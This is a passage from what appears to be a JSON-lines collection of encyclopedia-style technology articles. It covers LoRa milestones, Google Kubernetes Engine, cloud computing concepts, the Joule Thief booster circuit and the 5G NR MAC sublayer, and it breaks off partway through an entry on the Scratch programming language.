Semtech is a company involved in manufacturing of analog and mixed signal semiconductors for various industries. \n\nFeb  \n2013\n\nSecond patent of LoRa is filed by Semtech. Patent EP2763321 titled *Low power long range transmitter* describes the use of chirp modulation to transmit low-power signals over long distances. A typical data frame has preamble and data. Preamble has unmodulated chirps (411), symbols for frame synchronization (412), symbols for frequency synchronization (413), silence (420) and further unmodulated symbols (414). Data has header (415) and payload (416). \n\nJan  \n2015\n\nLoRa Alliance releases version 1.0 of **LoRaWAN™ Specification**. The authors are from Semtech, IBM and Actility. Version 1.1 of the specification comes out in October 2017. \n\nMar  \n2015\n\n**LoRa Alliance** becomes formally operational. It's mandate is to standardize LPWAN around LoRaWAN specification, and oversee a certification and compliance program for better interoperability. By mid-2020, the alliance has more than 500 members. These include technology leaders (IBM, Cisco, HP, Foxconn, Semtech, Sagemcom), product companies (Schneider, Bosch, Diehl, Mueller), SMEs and startups. \n\nJul  \n2016\n\nNetherlands becomes the first country in the world to have nationwide LoRaWAN coverage. \n\nMay  \n2018\n\nGoogle Cloud joins LoRa Alliance. Given the recent growth of LoRa and LoRaWAN, Google Cloud hopes to \"simplify the process of developing, deploying, and managing IoT solutions\". \n\nJun  \n2018\n\nSemtech Corporation demonstrates LoRa technology at Mobile World Congress Shanghai. It claims that LoRa deployments have reduced water leaks by 25% in commercial buildings, reduced energy costs by 30% in smart homes, and saved 20% costs in gas metering.","meta":{"title":"LoRa","href":"lora"}}
{"text":"# Google Kubernetes Engine\n\n## Summary\n\n\nGoogle Kubernetes Engine (GKE) is a managed environment for deploying, managing and scaling containerized applications using the Google Cloud Platform infrastructure. The environment that Google Kubernetes Engine provides consists of multiple machines, specifically Google Compute Engine instances, which are grouped together to form a cluster. Google Kubernetes Engine draws on the same reliable infrastructure and design principles that run popular Google services and provides the same benefits like automatic management, monitoring and liveness probes for application containers, automatic scaling, rolling updates, and more.\n\n## Discussion\n\n### Why should I use Kubernetes?\n\nBefore managing applications with Kubernetes and GKE, you should know how containers work and what advantages they provide. If you were to build an online retail application with user sign-in, inventory management, billing and shipping, you could break up your application into smaller modules called **microservices**. These are isolated and elastic, for high-availability and scalability.\n\n**Containers** provided the environment to deploy microservices. You can run them on the same or even different machines, start and stop them quickly, but you can't specify how many machines or containers to keep running. What to do if containers fail? How to connect a container to other containers and enable persistent storage? For these aspects, you need a container orchestration system like Kubernetes.\n\n**Kubernetes** is an open source orchestrator for a container environment. It provides the ability to define how many machines to use, how many containers to deploy, how to scale them, where the persistent disks reside, and how to deploy a group of containers as a single unit. \n\n\n### Since Kubernetes is already open source, what's the need for GKE?\n\nWhen you use the GKE to setup a cluster, you also gain the benefit of advanced cluster management features that Google Cloud Platform provides. These include: \n\n    + Leverage CI/CD tools in GCP to help you build and serve application containers\n    + Use Google Cloud Build to build container images from various source code repositories\n    + Use Google Container Registry to store and serve your container images\n    + Load balancing for Google Compute Engine instances\n    + Node pools to designate subsets of nodes within a cluster for additional flexibility\n    + Automatic scaling of your cluster's node instance count\n    + Automatic upgrades for your cluster's node software\n    + Node auto-repair to maintain node health and availability\n    + Logging and monitoring with Operations (formerly Stackdriver) for visibility into your cluster\n\n### How does GKE work?\n\nA **cluster** is the foundation of GKE. The Kubernetes objects that represent containerized applications all run within the cluster. A cluster consists of at least one *cluster master* and multiple worker machines called *nodes*, which are the worker machines that run containerized applications and other workloads. The worker machines are Google Compute Engine (GCE) instances that GKE creates on your behalf when you create a cluster. \n\nThese master and node machines run the Kubernetes cluster orchestration system. The cluster master runs the Kubernetes control plane processes, including the Kubernetes API server, scheduler, and core resource controllers. The API server process is the hub for all communication for the cluster. All internal cluster processes (such as the cluster nodes, system and components, application controllers) all act as clients of the API server; the API server is the single \"source of truth\" for the entire cluster. \n\n\n### What are some criticisms of GKE?\n\nGKE is still considered new. Documentation and support could be improved. It's also not well integrated into the rest of Google Cloud Platform. \n\nOn a more technical note, some complain that the configurability of GKE is limited, including limited control on authentication, authorization or admission control. It's expected that future versions of GKE will give users more control, such as via `ConfigMaps`. \n\n## Milestones\n\nJun  \n2014\n\nThe first public commit of **Kubernetes** code is made in GitHub. A few days later, it's released to the world at DockerCon. \n\nJul  \n2015\n\nVersion 1.0 of Kubernetes is released at Open Source Convention (OSCON). With Kubernetes as the its first project, **Cloud Native Computing Foundation (CNCF)** is founded. \n\nMay  \n2018\n\nGoogle offers its own **Google Kubernetes Engine (GKE)** as a service for cluster management. Similar services from Microsoft and Amazon follow. \n\nJul  \n2018\n\nAs an alpha release, Google releases **GKE On-Prem** so that enterprises can deploy GKE in their own data centers. This allows Google to offer a hybrid cloud platform. \n\nOct  \n2018\n\nIt's now possible to do container-native load balancing for GKE-based applications. Previously, load balancers worked at the granularity of VMs. These VMs then used IPTable rules to route workloads to the right pods. This was suboptimal and resulted in traffic hops between nodes. With **Network Endpoint Groups (NEGs)**, load balancing can now be done based on the availability and health of pods rather than nodes.","meta":{"title":"Google Kubernetes Engine","href":"google-kubernetes-engine"}}
{"text":"# Cloud Computing\n\n## Summary\n\n\nCloud computing is a model in which resources are remotely accessed via the internet, shared by many users, and automatically allocated or released to meet current requirements. Resources could be compute, storage, memory or networking. Consumers subscribe to a service rather than purchase a dedicated resource. Thus, service abstractions are more important than physical resources or implementations.\n\nThose who provide cloud computing platforms are called *cloud providers*. Those who avail them are called *cloud consumers*. Cloud providers simplify the work of consumers by providing and managing essential resources. Consumers can therefore avoid upfront capital expenditure and focus on building their business applications. Providers also offer different service models and cloud configurations to suit different consumer needs.  \n\nCloud computing brings many benefits not possible with traditional models of computing. This is prompting businesses to move to the cloud.\n\n## Discussion\n\n### Why do we need cloud computing when there are data centres and web servers?\n\nData centres and web servers are components of internet computing. A client device could access a remote web server via the internet and avail its services. Data centres brought economies of scale by bringing together many such servers, storage devices, firewalls, routers, and switches. These advances made it possible for enterprises to share data and applications more effectively. However, applications were deployed on a single server or sometimes a cluster of servers. The deployment was fixed. To handle higher loads, either servers had to be upgraded or more servers had to be added manually. \n\nCloud computing changes all this. Configurations are not fixed. A cluster of servers share the load. Servers are added or removed automatically to serve the current load. Thus, cloud computing exposes the abstraction of a service and hides the underlying physical implementations. Failure of a single server will not bring down the service.  \n\nIn short, cloud computing brings better flexibility, scalability and reliability that was limited with internet computing. \n\n\n### What are the characteristics of cloud computing?\n\nThe National Institute of Standards and Technology (NIST) identified in 2011 the following characteristics of cloud computing: \n\n    + **On-Demand Self-Service**: Without help from the cloud provider, consumers can provision and monitor resources on their own.\n    + **Broad Network Access**: Any device from mobile phones to powerful workstations can access cloud capabilities over the network.\n    + **Resource Pooling**: Resources are shared among many consumers, making it a multi-tenant model. Consumers have no knowledge of the exact location of these resources but may be able to select the country, state or data centre.\n    + **Rapid Elasticity**: Resources can be scaled on demand. Scaling can be vertical or horizontal. Scaling can be manual but often semi-automated or fully automated.\n    + **Measured Service**: Provider monitors the use of resources. This is used for billing and optimal use of resources.Gong et al. identified the following additional characteristics: service-oriented model that provides the right abstractions; loose coupling between client and server, and among applications running on the same platform; virtualization that enables loose coupling; fault tolerance; pay-per-use business model; and ease-of-use via web interfaces. \n\n\n### What are some myths about cloud computing?\n\nSome myths have persisted since the early days:   \n\n    + **Security**: On-premises data centres are perceived to be more secure. In reality, cloud platforms implement best-in-class security principles and are maintained by experts. However, security is really a shared responsibility between the cloud vendor and the user.\n    + **Cost**: The cloud model is not necessarily costlier. There are \"pay-as-you-go\" options. Moving to the cloud isn't only about cost savings. Cloud computing opens up other benefits such as business agility.\n    + **Control**: Cloud doesn't result in loss of control or vendor lock-in. Different service and deployment models are available.\n    + **Migration**: Moving to the cloud might have caused service downtimes in the past. Today, cloud providers offer seamless migration with minimal downtime.\n    + **Value**: Cloud isn't just for big companies. Smaller companies may benefit more by saving on infrastructure and its operations. Another myth is that cloud enables only storage, analytics and IT services. Cloud can streamline operations across all business functions including customer service, sales, marketing, manufacturing, and more.\n    + **Strategy**: Moving to the cloud doesn't equal digital transformation. It's only the first step. Applications may need to be refactored to leverage the cloud. Strategy should relate to business goals.\n\n### Which are the different cloud deployment models?\n\nCloud computing offers three main deployment options:  \n\n    + **Public**: The dominant one. When a user or an enterprise moves to the cloud, their complete infrastructure is fully managed by the cloud provider. Consumers need not purchase or maintain their own infrastructure. It's called \"public\" because anyone can create an account with the provider. Resources are shared with other users.\n    + **Private**: Infrastructure that's dedicated to one consumer. It may be infrastructure belonging to the consumer or rented/leased from a public cloud provider for exclusive use. Existing data centres could become private clouds if operated on the principles of cloud computing, such as virtualization and efficient resource management.\n    + **Hybrid**: Combination of both public and private clouds. Consumers might retain critical functions in a private cloud while migrating others to a public cloud. Regulatory compliance and data protection needs make hybrid or private clouds a necessity.Variations of the above include community cloud (a community of users sharing a private cloud), multicloud (using multiple clouds for redundancy),  and polycloud (distributing workloads across multiple clouds). \n\n\n### What are the different service models in cloud computing?\n\nCloud computing three main service models:   \n\n    + **Infrastructure-as-a-Service (IaaS)**: Cloud vendor provides shared or dedicated resources for compute, storage and networking. Operating system, middleware, applications, and many others are under the control and management of the consumer. Thus IaaS gives consumers more flexibility but at the expense of more work to configure and operate. This is somewhat similar to how traditional IT departments manage enterprise infrastructure.\n    + **Platform-as-a-Service (PaaS)**: Developers are the main beneficiaries of this model. The cloud provider manages the hardware and virtualization as in IaaS but also provides OS, middleware and application platforms. This simplifies the work for developers who can focus on building and managing their apps.\n    + **Software-as-a-Service (SaaS)**: For end users, the entire application is delivered from the cloud. The cloud provider manages all parts of the service from the hardware to the application. Users can access the application via a web browser without installing any dedicated software on their systems. Gmail is an example of SaaS.\n\n### What some specialized service models in cloud computing?\n\nThe early service models of IaaS, PaaS and SaaS are very much relevant today. However, these have also been specialized to create niche cloud offerings. Nowadays, many services are being offered remotely on the cloud without customers having to manage them in-house. We briefly describe a few of these:\n\n    + **Backend-as-a-Service (BaaS)**: Cloud providers take care of storage, database management, user authentication, notifications, hosting, and more. With server-side application logic, BaaS offers more that what PaaS offers. Developers can focus on the frontend user interface and client-side application logic. When applied for mobile applications, it's called Mobile Backend-as-a-Service (MBaas).\n    + **Containers-as-a-Service (CaaS)**: A subset of IaaS for managing containers and virtualized applications. A further specialization is Kubernetes-as-a-Service (KaaS) if containers are managed using Kubernetes.\n    + **Function-as-a-Service (FaaS)**: Enables execution of modular units of code (called functions) in response to events. Resources are allocated and billed for only when used, unlike IaaS or PaaS.\n    + **Machine Learning-as-a-Service (MLaaS)**: Provides data scientists and developers ready-to-use ML models and tools to manage or execute those models.Others include Database-as-a-Service (DBaaS), Security-as-a-Service (SECaaS), Identity-as-a-Service (IDaaS), Storage-as-a-Service (STaaS), Test Environment-as-a-Service (TEaaS), Desktop-as-a-Service (DaaS), and many more. \n\n\n### Who are the main vendors of cloud computing platforms?\n\nWell-known vendors of public cloud include Alibaba Cloud, Amazon Web Services (AWS), Google Cloud, IBM Cloud, and Microsoft Azure.  Canalys estimated that in Q3 2021, 61% of total cloud spending went to just three vendors: AWS, Microsoft Azure and Google Cloud. \n\nMany of the public cloud vendors also offer private/hybrid clouds and software stacks that enable the implementation of private/hybrid clouds. Examples include Red Hat OpenStack, Rackspace, IBM Bluemix Private Cloud, Microsoft Azure Stack, VMware Private Cloud, Amazon Virtual Private Cloud (VPC), Cisco Quickstart Private Cloud, Google VPC, HPE GreenLake, IBM Cloud Satellite and Dell. \n\nExamples of PaaS are IBM SmartCloud Application Services, Google App Engine, AWS Elastic Beanstalk, Apache Stratos, and Magento Commerce Cloud. \n\nThere are also plenty of vendors offering specialized service models. For example, FaaS offerings include AWS Lambda, Google Functions, Azure Functions, IBM Cloud Functions, Alibaba Functions, Oracle Functions, and Cloudflare Workers. MLaaS offerings include Amazon (Polly, Sagemaker, Rekognition, etc.), Google Cloud AutoML, Azure Automated ML, IBM Watson Machine Learning, and more. BaaS offerings include AWS Amplify, Google Firebase, Back4App, Parse, Backendless, Pubnub, and more. \n\n\n### What are the typical uses cases of cloud computing?\n\nWith IaaS, cloud is useful in offloading the responsibility of installing and operating infrastructure. With PaaS, developers can more quickly build, deploy and monitor their applications from components provided by the cloud provider. With SaaS, users always get the latest versions of the software without any installation from their end. Applications are also becoming cloud-native to get the most out of the cloud. \n\nStreaming video and audio, storing social media content, storing important documents, running banking applications, CRMs and ERPs, and managing logistics are just some examples where cloud can be used. \n\nTest and development environments can be set up in the cloud. This saves capital expenditure, manpower and time. Cloud collaboration and testing also enables faster development cycles.  \n\nCloud is used for data storage. Cloud can also get the best out of both structured and unstructured data via big data analytics. With it's ability to scale dynamically, cloud can perform real-time analytics even when data comes in at varying rates. \n\nDisaster recovery and data backups are further use cases where cloud saves time and cost.  \n\n\n### What are some criticisms of cloud computing?\n\nSome of the criticisms are related to the myths surrounding cloud computing. With better understanding, some of these myths can be dispelled. However, there are some valid criticisms.\n\nIn the past, users could run applications on standalone systems even without an internet connection. This is not so for cloud-based applications. Good **connectivity** is essential. \n\n**Security** is another concern. While cloud providers are continually making operations more secure, the fact that applications are accessible online make them less secure than applications or systems that run offline in isolated environments. \n\n**Data mobility** can be problem. Getting large volumes of data in and out of cloud systems can be expensive and slower than local access. It's also not easy to move data from one cloud provider to another. In general, there's no easy way to migrate an application from one cloud provider to another due to proprietary interfaces and deployments. Hence, there's a danger of **vendor lock-in**. \n\n## Milestones\n\n1950\n\nAt a time when computers are expensive, many users share the use of mainframes from their dumb terminals.  \n\n1969\n\nThe first packet is sent on the **ARPANET** (Advanced Research Projects Agency Networks), a network in which a few computers at different geographic locations are interconnected. ARPANET becomes a testing bed for the development of many networking technologies. It would eventually evolve into what would be called the Internet. \n\n1972\n\nDeveloped from research work from the late 1960s, IBM releases VM/370. This is a system that can emulate different operating systems and virtual runtime environments to serve the needs of different applications and users. This is the beginning of **Virtual Machines (VMs)**.  \n\n1990\n\nThe idea of **grid computing** is proposed in the early 1990s. This is really a metaphor for making computing as accessible as the electric power grid. Grid computing is essentially distributed computing that brings together resources for tasks that would be hard to execute on a single machine alone. As such, it offers an alternate to powerful and specialized supercomputers. \n\n1996\n\nThe term **cloud computing** appears in an internal document at Compaq. This is probably the earliest use of the term. The idea is to enable ISPs to implement and bill for cloud-computing enabled apps. The prediction is that cloud apps would become more important than enterprise apps. The term is borrowed from the word \"cloud\" that engineers often used for telecom networks. In fact, by early 1990s, patent diagrams had depicted the internet as a cloud. \n\n1999\n\n*Salesforce* replaces its traditional CRM software with a cloud-based software, thus becoming a pioneer in cloud computing. It's application is the first large-scale example of SaaS. \n\nJul  \n2002\n\nAmazon creates a subsidiary named *Amazon Web Services (AWS)*. In 2006, AWS launches Simple Storage Service (S3) and Elastic Compute Cloud (EC2) as elements of its IaaS offerings. \n\nAug  \n2006\n\nAt a conference, Google CEO Eric Schmidt introduces the term \"cloud computing\". By the following year, Amazon, Microsoft and IBM start using the term, signifying that cloud computing has gone mainstream. \n\nApr  \n2008\n\nAs a PaaS, Google releases the beta version of *Google App Engine*. This includes dynamic content serving, persistent storage, automatic scaling, load balancing, use of Google APIs for user authentication and emails, and local development environment. By 2022, Google App Engine supports Python, Java, Node.js, Go, Ruby, PHP, and .NET. \n\n2009\n\nVaquero et al. attempt to find a suitable definition of cloud computing. They analyse publications from 2008 and identify as many as 22 different definitions. This shows that not everyone agrees what the cloud represents or provides. They propose a definition that includes scalability, virtualization and pay-per-use utility model. \n\nFeb  \n2010\n\nMicrosoft makes its cloud platform called *Windows Azure* generally available. This is initially positioned as a PaaS offering. In subsequent years, this is rearchitected into a IaaS offering and renamed to *Microsoft Azure*. In 2014, Microsoft embraces open source software, and by 2017 40% of VMs on Azure run on Linux. \n\nJul  \n2010\n\nRackspace Hosting and NASA jointly launch an open-source cloud-software initiative known as *OpenStack*. OpenStack can be used on commodity hardware to create an IaaS offering. \n\n2011\n\nThe National Institute of Standards and Technology (NIST) publishes a reference model of cloud computing. In a separate document it defines cloud computing as \"a model for enabling ubiquitous, convenient, on-demand network access to a shared pool of configurable computing resources (e.g., networks, servers, storage, applications, and services) that can be rapidly provisioned and released with minimal management effort or service provider interaction.\" \n\nDec  \n2019\n\nAmazon announces *AWS Outposts* to bring to its customers a better hybrid cloud offering. AWS Outposts extends AWS infrastructure and services to on-premise deployments and customer data centres.","meta":{"title":"Cloud Computing","href":"cloud-computing"}}
{"text":"# Joule Thief Circuit\n\n## Summary\n\n\nThe Joule Thief Circuit is a voltage booster circuit which converts a constant low voltage input into a periodic output of a higher voltage. This circuit can be most often seen lighting an LED with an almost dead AA battery. The peaks in voltage occur rapidly, causing the LED to flash at a very fast rate. However, the LED appears to be constantly lit to the human eye due to the persistence effect.\n\n## Discussion\n\n### How does the Joule Thief circuit work?\n\nThe circuit is an arrangement of a power source, a resistor, a transistor and a ferrite toroid core wrapped with two wires coming from the positive terminal of the power source, one through a resistor.\n\nA magnetic field is created around the ferrite toroid because of the current that passes through the wires. The extra current causes the transistor to switch off and power to the ferrite toroid is cut off. As a result, the magnetic field is converted into electrical energy which is given as output. Once the magnetic field no longer exists(the pulse ends), the transistor is switched on again and conducts electricity to create the magnetic field again. This process occurs rapidly enough to provide a somewhat constant power output. The frequency of voltage spikes generated by the Joule Thief circuit is over 5KHz . The video explains the working of the Joule Thief circuit very well.\n\n\n### How can a Joule Thief circuit be made?\n\nThe components required are a NPN transistor, a 1kΩ resistor, a ferrite toroid (that can be salvaged from an old CFL bulb), wiring, a 3Volt LED and an AA battery which doesn't light up a LED by itself. Use the AA battery and connect two wires from the positive terminal and take one through the 1kΩ resistor and wrap the wires around the ferrite toroid. The wire that goes through the resistor, after it comes out from the ferrite toroid, is connected to the base terminal of the transistor. The other wire from the ferrite toroid goes to the collector terminal of the transistor which is also connected to the positive terminal of the LED. The negative terminal of the LED is connected to the emitter terminal of the transistor. \n\nMore information is available at an Instructables tutorial.\n\n\n### How can the Joule Thief circuit be optimized or modified?\n\nThe **inductance** in the Joule Thief circuit is determined by the loops around the ferrite toroid. The more the number of loops, the greater the inductance. An increase in inductance generally decreases the current flowing through the circuit and an increase in the duty cycle(on time%). This suggests that an increase in inductance increases the efficiency of the circuit. However, too much inductance is not good either. Trial and error can help find the sweet spot of the circuit where the least current is drawn. Increasing or decreasing one loop at a time will help find the number of loops a certain circuit requires for maximum efficiency. \n\n\n### What are the applications of this circuit?\n\nLighting an LED with a dead battery is not the only application of the Joule Thief circuit. The circuit helps utilize almost all the energy that is stored in a battery. For example, a battery that has come out from a toy can easily light up a torch that makes use of the Joule thief circuit for hours or even days. The circuit can also be used in battery chargers, wall clocks, solar cell chargers where a low voltage input has to be increased for its intended application. \n\nThe principle behind the joule thief can be used on any low voltage source, even if it's not a \"dead\" battery. For example, aluminium cans filled with water and wood ash, and simple electrodes can be used with a joule thief circuit for a battery charging application. \n\n\n### What are the disadvantages of using a Joule Thief circuit?\n\nA major disadvantage is a drop in output current because the current required to carry a given power decrease when voltage is increased because power is the product of current and voltage. \n\nAnother disadvantage is Without significant improvements to the circuit, it is hard for the circuit to power more than simple led because heavy demand is put on the transistor for high current at very low voltage \n\n\n### What are some alternatives to the Joule Thief circuit?\n\n \n\n    + **Supercharged Joule Thief circuit**: Has an efficiency of above 80% while conventional Joule Thief circuits have efficiencies between 40% and 60%\n    + **Buck-boost converters**: Can be used for applications which require more power. The output voltage is always reversed in polarity with respect to the input\n    + **Voltage multiplier**: Converts AC electrical power of a lower voltage to DC electrical power of a higher voltage\n    + **Split-pi topology**: DC-DC converter that uses MOSFETs making it bidirectional and good for applications revolving around regenerative braking\n\n### How does the supercharged Joule Thief circuit have such a high efficiency?\n\nAll that is required in addition to the components for a conventional Joule Thief circuit is a 680 pF capacitor. Apart from this, the feedback wire which is connected between ground and the wire from the ferris toroid which is also connected to a 1.5kΩ resistor and a diode, according to the circuit diagram which shows a circuit that can be used to switch between the conventional Joule Thief circuit and the Supercharged Joule Thief circuit.\n\n## Milestones\n\nFeb  \n1930\n\nHarold C Weber files a patent for a mechanism to control electron streams in electronic devices. \n\nMar  \n1988\n\nHoneywell Inc files a patent for a self energized circuit that steps up ultra low voltages (as low as 0.1 volts) to a stepped-up alternating current. \n\nNov  \n1999\n\nAn article titled *One-Volt L.E.D — A Bright Light* by Z. Kaparnik, and published in Everyday Practical Electronics, features a circuit that uses the same principles as the initial Joule Thief circuit in order to create high voltage pulses. \n\nAug  \n2002\n\nThe name Joule Thief is coined by Clive Mitchell and a tutorial is published on his website. Clive's variation includes a smaller resistance than the original circuit published in the EPE magazine.","meta":{"title":"Joule Thief Circuit","href":"joule-thief-circuit"}}
{"text":"# 5G NR MAC\n\n## Summary\n\n\nThe MAC sublayer of 5G NR protocol stack interfaces to RLC sublayer from above and PHY layer from below. It maps information between logical and transport channels. Logical channels are about the type of information carried whereas transport channels are about how such information is carried. \n\nData on a transport channel are packaged into **Transport Blocks (TBs)** whose configuration are determined by **Transport Formats (TFs)**. A transport block has a dynamic size. Except in some scenarios, only one transport block is transmitted by MAC in an interval called **Transmission Time Interval (TTI)**. \n\nMAC is configured by RRC layer. In the simplest case, a UE has a single MAC entity. However, there are some scenarios when a UE has multiple MAC entities. MAC sublayer is specified from a UE perspective in TS 38.321.\n\n## Discussion\n\n### What logical/transport channels are relevant to 5G NR MAC?\n\nTransport channels are the Service Access Points (SAPs) between MAC and PHY. Likewise, logical channels are the SAPs between RLC and MAC. In other words, MAC sublayer provides data transfer services on logical channels based on type of information carried, and uses transport channels to interface to PHY. \n\nMAC handles the following channels, mentioned here as \"transport channel (logical channels)\": \n\n    + **Uplink**: RACH (-), UL-SCH (CCCH, DCCH, DTCH)\n    + **Downlink**: BCH (BCCH), PCH (PCCH), DL-SCH (BCCH, CCCH, DCCH, DTCH)\n    + **Sidelink**: SL-BCH (SBCCH), SL-SCH (SCCH, STCH)RACH has no mapping to a logical channel since its information originates/terminates at MAC. In fact, RACH doesn't carry any transport blocks. BCCH is a logical channel that maps to either BCH or DL-SCH. Traffic channels include DTCH and STCH, all others being control channels. \n\n\n### Which are the main functions of 5G NR MAC?\n\nRLC need not worry about when and how data is transmitted on the air interface. Data transfer and radio resource allocation is the job of MAC. \n\nIn the transmit direction, MAC sublayer maps logical channels coming from RLC sublayer to transport channels going to PHY layer. Multiple logical channels can be multiplexed within a transport block. In the receive direction, MAC does demultiplexing. \n\nOther than multiplexing/demultiplexing MAC SDUs, MAC also has in-band signalling. These are called MAC Control Elements (CEs). In fact, MAC CEs and MAC SDUs can be multiplexed in a single MAC PDU. \n\nIn the downlink, a UE is informed on PDCCH about an imminent scheduled transmission on DL-SCH. In the uplink, UE MAC must first make a Scheduling Request (SR) on PUCCH. UE typically gets a grant on PDCCH or Random Access Response. Semi-persistent grant via RRC signalling is also possible. \n\nMAC also does scheduling information reporting, error correction through HARQ, logical channel prioritisation, dynamic scheduling across UEs (DL only), and priority handling between overlapping resources of one UE. \n\n\n### Which are the main procedures of 5G NR MAC?\n\nWhen a UE is making its initial access to the network, **Random Access** procedure is essential. This procedure is also invoked in many other scenarios. It's of type 4-step or 2-step. Each type can be Contention-Based Random Access (CBRA) or Contention-Free Random Access (CFRA). \n\nRandom access procedure establishes timing advance, so that uplink transmission is properly time-aligned when it reaches gNB. Maintenance of this **uplink time alignment** is another procedure. \n\n**Data transfer** in downlink and uplink channels involve DL assignments, UL scheduling requests and UL grants. Data transfer involves multiplexing/demultiplexing of data, prioritization, and retransmission and error correction due to HARQ. Similar procedures exist for sidelink channels. \n\nMAC CEs enable **signalling**. Examples include activation/deactivation of SCells, activation/deactivation of PDCP duplication, recommending bit rates to the UE, and many more. \n\nUE also **reports** buffer status and power headroom to help gNB make resourcing decisions. \n\nDiscontinuous Reception (DRX), Bandwidth Part (BWP) switching, reset/reconfiguration, beam failure detection and recovery, handling measurement gaps, data inactivity monitoring are some more MAC procedures.  \n\n\n### When can a 5G UE have multiple MAC entities?\n\nIf a 5G UE is connected to the Master Cell Group (MCG) and the Secondary Cell Group (SCG), then there's a MAC entity for each cell group. Each entity operates independently, that is, their serving cell, timers, parameters, radio bearers, logical channels and HARQ entities are all independent. \n\nDual Connectivity (DC) is a feature in which a UE can be connected to both MCG and SCG. For example, MCG could be an 4G/LTE cell and SCG could be a 5G NR cell. Another scenario is Dual Active Protocol Stack (DAPS) handover in which there's one MAC entity for the source cell and one for the target cell. \n\nA single MAC entity can support multiple numerologies, transmission timings and cells. However, RRC can restrict the mapping of a logical channel to a subset of cells, numerologies or other configurations. This is one way to reduce latency to serve URLLC services. \n\n\n### What's the role of 5G NR MAC in Carrier Aggregation?\n\nMAC plays an important role in Carrier Aggregation (CA). It distributes MAC PDUs and CEs across different Component Carriers (CCs) and generates one TB per TTI per CC. Moreover, each CC has its own HARQ entity within MAC. \n\nThough CA involves multiple carriers or cells, they all come under the same cell group. A single MAC entity serves all cells involved in CA within the cell group. Aggregation happens over one Primary Cell (PCell) and one or more Secondary Cells (SCells). Within a single MAC entity there can be multiple instances of transport channels: one DL-SCH, UL-SCH and RACH for Special Cell (SpCell); one DL-SCH per SCell; and optionally one UL-SCH and RACH per SCell. SpCell is the PCell of either MCG or SCG. This implies that CA can be combined with DC. \n\n\n### In 5G NR, what do you mean by High-MAC and Low-MAC?\n\nIn practical deployments, a 5G base station or gNB is not a monolith located at the cell site. It's often disaggregated into Radio Unit (RU), Distributed Unit (DU) and Centralized Unit (CU). 5G allows multiple ways in which gNB functions can be split across RU, DU and CU. \n\nOne way is to split MAC sublayer into two parts: High-MAC and Low-MAC. Such a split is called **Intra-MAC Split (Option 5)**. With this split, High-MAC, RLC, PDCP and RRC will be in the CU. Low-MAC will be in the DU. The DU-CU interface is commonly called **midhaul**. \n\nMultiplexing/demultiplexing are done in High-MAC. High-level scheduling decisions are part of High-MAC. Inter-cell interference coordination as needed in CoMP can be done in High-MAC in a more centralized manner. Time-critical processing such as HARQ, random access control, scheduling-related information processing and reporting are in Low-MAC.  \n\n## Milestones\n\nApr  \n2017\n\n3GPP publishes version 0.0.1 of MAC specification TS 38.321. By September, this evolves to version 1.0.0. \n\nDec  \n2017\n\n3GPP publishes Release 15 \"early drop\". MAC specification TS 38.321 is upgraded to version 15.0.0. \n\nJun  \n2018\n\n3GPP publishes Release 15 \"main drop\". MAC changes part of this release include beam failure recovery timer, prioritized random access, and PDCP duplication. \n\nDec  \n2018\n\nIn version 15.4.0 of MAC specification, **data inactivity timer** is introduced. \n\nJul  \n2020\n\n3GPP publishes Release 16 specifications. Main MAC enhancements or additions in this release include Integrated Access and Backhaul (IAB), dormant BWP operation, eMIMO, 2-step RACH procedure, New Radio Unlicensed (NR-U), eURLLC, Industrial IoT, UE power saving, V2X with NR Sidelink, NR positioning, and a new MAC subheader for MAC CEs.","meta":{"title":"5G NR MAC","href":"5g-nr-mac"}}
{"text":"# Scratch (Language)\n\n## Summary\n\n\nScratch is a visual block-based programming language designed for children aged 8-16. Children can create games, animations and stories in a fun-filled manner while also learning to reason and think creatively. Scratch is also an online community where creators can share their projects and be inspired by other projects. \n\nScratch is available in more than 150 countries in more than 60 languages. It's usage is license free. Scratch itself is open sourced. It's developed and overseen by the Scratch Foundation. \n\nScratch has been called \"the YouTube of interactive media.\" Scratch has inspired other visual programming languages such as ScratchJr for ages 5-7, Snap!, mBlock, Stencyl and MIT App Inventor.\n\n## Discussion\n\n### Given dozens of programming languages, why do I need Scratch?\n\nMany popular programming languages are text-based. Programmers have to type the program code. They need to learn and remember the language syntax. For beginners, making syntax errors is a common problem. A text-based interface is less accessible and less fun for children.\n\nOn the contrary, Scratch is designed for children aged 8-16. It can be taught at schools for students across all disciplines, including math, computer science, language arts, and social studies. This is important for today's economy where learning to code is part of computer literacy. \n\nBecause Scratch is visual, it's less intimating than text-based programming languages. Programs in Scratch are created by drag-and-drop actions on colourful blocks. The use of shapes and colours act as visual cues to help programmers create, edit or understand Scratch programs more easily. In fact, shapes fit together like a jigsaw puzzle. It's designers claim that, \n\n> Scratch is more tinkerable, more meaningful, and more social than other programming environments.\n\nResearch has shown that Scratch enables students grasp computational thinking concepts such as parallelism, synchronization, flow control, user interactivity, data representation, abstraction and problem decomposition. \n\n\n### What types of projects can I create with Scratch?\n\nThe main or popular project types in Scratch are: \n\n    + **Games**: Games are the most common type, giving their creators large fan following. Even classics such as Pacman and Mario have been recreated in Scratch.\n    + **Animations**: Using costume changes and movements, animations can be easily created.\n    + **Music**: MIDI sound bank allows programmers to play up to 128 instruments. Volume and tempo can be adjusted. It's also possible to import a song and play it.\n    + **Art**: Interactive art is one of the purposes for which Scratch was designed. More recently, non-interactive art is becoming common though less programming may be involved in creating them.\n    + **Stories**: Not very common since many can be considered as animations. Stories could be adventures or feature many costumes and backdrops.\n    + **Simulations**: Not that common but high quality projects involving physics, weather, gravity and 3D simulations have been created. Operating systems and engines are two common themes.Other types include tutorials, advertisements, sprite packs, slideshows, petitions, 100% pen, interviews, etc. \n\n\n### What are some essential Scratch programming terms?\n\nFrom a complete glossary for Scratch, we highlight a few essential terms:  \n\n    + **Stage**: Area where the project is displayed when active.\n    + **Backdrop**: Background of the stage.\n    + **Block**: Programming command that can be dragged and dropped into the code area.\n    + **Code Area**: Area where scripts are edited.\n    + **Script**: A stack of blocks make up a script. Determines how a sprite interacts with other sprites and the backdrop.\n    + **Sprite**: Character or object on the stage that performs actions controlled by one or more scripts.\n    + **Clone**: A copy of a sprite.\n    + **Costume**: Appearance of a sprite. Often subtle variations of a sprite can be used to create animations.\n    + **Bubble**: A speech bubble or a thought bubble signifies what a sprite is speaking or thinking.\n    + **Scrolling**: Action of sliding a sprite across the stage.\n    + **Broadcast**: A message sent through the Scratch program. Allows sprites to communicate with one another.\n    + **Event**: Key press or mouse button clicks are example events. Can be used to trigger scripts.\n    + **Studio**: A place to group and organize multiple projects.\n    + **Pen**: Allows us to draw on the stage.\n\n### What's the anatomy of the Scratch 